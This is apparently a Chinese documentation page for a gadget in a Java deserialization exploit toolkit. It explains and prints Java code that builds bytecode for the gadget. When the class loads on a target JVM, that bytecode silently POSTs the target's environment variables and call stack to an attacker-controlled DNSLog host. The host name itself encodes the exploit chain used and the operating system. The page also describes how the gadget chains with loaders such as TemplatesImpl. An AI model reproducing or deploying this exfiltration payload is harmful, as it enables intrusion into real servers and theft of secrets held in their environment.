- 类别:bytecode 别名:— 优先级:15
- 作者:Ar3h
- 依赖:无(仅需目标 JVM、DNS 与 HTTP 出网)
生成一段字节码:类加载时向 http://<子域名>.<os>.<dnslog> 发起一次 HTTP POST,请求体携带目标环境变量与当前调用栈。一次动作同时探测 DNS 出网与 HTTP 出网,并把利用链、操作系统等信息回传给攻击者。description 指出其在 JNDIShowHand 链中常用,是「一键出网探测 + 信息回显」构件。
- 入口
tags:Bytecode—— 声明产出原始字节码byte[],可被nextTags=Bytecode的加载器 BytecodeConvert 承接。END—— 链终止标签,本 gadget 是最内层 sink。
- 衔接
nextTags:空 —— 自身即字节码源头。 excludes:无。
gadget 本体负责「拼子域名 → 回填模板两个静态字段 → 返回字节码」:
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(DNSLogAndHTTPReqBytecode.class);
List<String> gadgetNameList = this.getGadgetNames(); // 取当前链上各 gadget 名
if (gadgetNameList.size() > 1) {
gadgetNameList.remove(gadgetNameList.size() - 1); // 去掉最后一个(即本 sink 自身)
}
// payloadName = Payload 的 alias 或简单类名
String payloadName = ... payload.getClass().getSimpleName();
String subString = payloadName + "." + String.join(".", gadgetNameList); // 组回显子域名
javassistHelper.modifyStringField("dnslog", this.dnslog); // 回填 DNSLog 域名
javassistHelper.modifyStringField("subString", subString); // 回填链信息子域名
return javassistHelper.getBytecode();
}getGadgetNames() 遍历 context.getGadgetList(),优先取每个 gadget @GadgetAnnotation 的 alias(无则用简单类名),并做清洗:replace("_","-") 后 replaceAll("[^-a-zA-Z0-9]", ""),保证结果是合法 DNS 标签。由此把「用了哪条利用链」编码进子域名。
真正执行探测的是模板类 DNSLogAndHTTPReqBytecode(静态块 new 自身触发):
public DNSLogAndHTTPReqBytecode() {
String osName = System.getProperty("os.name").toLowerCase();
String os = osName.contains("win") ? "windows" : ... "unix"/"macos"/"unknown";
if (subString.endsWith(".")) subString = subString.substring(0, subString.length()-1);
String host = subString + "." + os + "." + dnslog; // 子域名.系统.dnslog
String jsonInputString = mapToString(System.getenv()) // 环境变量
+ "\n\n" + getCurrentStackTrace() // 调用栈
+ "\n\n" + subString;
URL _url = new URL("http://" + host);
HttpURLConnection connection = (HttpURLConnection)_url.openConnection();
connection.setRequestMethod("POST");
connection.setDoOutput(true);
// ... 把 jsonInputString 作为 body 写出,再读取响应
}要点:
- 目标主机名本身就是回显载体——
subString.os.dnslog,即便只有 DNS 出网(HTTP 被拦),DNSLog 也能收到「用了哪条链、什么系统」的解析。 System.getenv()与Thread.currentThread().getStackTrace()被打进 POST body,攻击者据此掌握目标环境变量与命中的调用栈,用于判断落地位置与后续利用。- 全程
try/catch静默,探测失败不产生可见异常。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
dnslog |
DNSLog地址 | 接收解析/HTTP 的域名,如 x.dnslog.cn |
无 | 任意可控域名 |
- description:本质是发起 HTTP 请求并 POST 调用栈、环境变量,可同时探测 DNSLog 与 HTTP 出网;在
JNDIShowHand链中常用。 - 不适合探测未配置 DNS 的服务器(此时应改用单独的
HTTPReq链)。 - 响应/子域名示例:
deser.fastjson.templatesimpl.windows.xxx.eyes.sh——依次是 Payload 名、链上各 gadget 名、操作系统、DNSLog 根域。
自由构件,未直接出现在 51 条预设链中;按 description 主要服务于 JNDIShowHand 类的一键探测场景。可与 BytecodeConvert 组成 [BytecodeConvert, DNSLogAndHttp]。
- 上游加载器(承接
Bytecode):BytecodeConvert →TemplatesImpl。 - 同族探测 sink:DNSLog(仅裸 DNS)、DNSLogWithInfo(DNS + 链/系统信息子域名,但不发 HTTP)。
- 功能对位的 RCE sink:
Exec。